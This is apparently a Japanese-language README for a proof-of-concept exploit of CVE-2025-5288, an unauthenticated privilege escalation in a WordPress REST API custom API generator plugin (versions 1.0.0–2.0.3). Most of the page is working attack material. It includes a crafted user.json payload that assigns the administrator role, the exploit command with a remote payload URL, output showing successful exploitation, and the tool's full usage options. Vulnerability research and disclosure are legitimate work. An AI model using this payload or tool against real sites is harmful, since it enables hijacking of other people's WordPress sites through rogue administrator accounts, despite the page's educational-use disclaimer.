
Wordpress REST API | クロスプラットフォームおよびインポート/エクスポート向けカスタムAPIジェネレーター(WP 1.0.0 - 2.0.3)- 認可欠如による未認証の権限昇格
WordPress 用プラグイン REST API | Custom API Generator For Cross Platform And Import Export In WP は、バージョン 1.0.0 から 2.0.3 において、process_handler() 関数のケイパビリティチェックが欠如しているため、権限昇格 (Privilege Escalation) の脆弱性があります。
これにより、未認証の攻撃者が、公開されたエンドポイントに細工された user.json ファイルを送信し、新しい管理者 (Administrator) アカウントを作成できる可能性があります。
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
python3 CVE-2025-5288.py -u http://192.168.100.74:888/wordpress/ -json http://192.168.100.74:888/user.json
[+] Target appears vulnerable (version: 2.0.3) - exploiting...
[*] Fetching JSON payload from: http://192.168.100.74:888/user.json
[+] JSON content loaded successfully:
[1] {
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
[*] Launching exploitation...
[+] Exploit delivered successfully.
[+] Payload Sent:
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
usage: CVE-2025-5288.py [-h] -u URL -json URL_JSON [--proxy PROXY] [--timeout TIMEOUT] [--no-verify] [--no-sleep] [--debug]
Unauthenticated Privilege Escalation - by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Base URL of WordPress site (e.g., http://target/wp/)
-json, --url_json URL_JSON
URL to hosted R.json payload
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--timeout TIMEOUT HTTP timeout in seconds (default: 10)
--no-verify Disable SSL certificate verification (NOT recommended!)
--no-sleep Disable sleep delays for faster execution
--debug Enable debug output
このツールは、教育および許可されたセキュリティ研究の目的にのみ使用してください。許可なくシステムへ不正にアクセスすることは違法です。
作成者: Nxploited (Khaled_alenazi)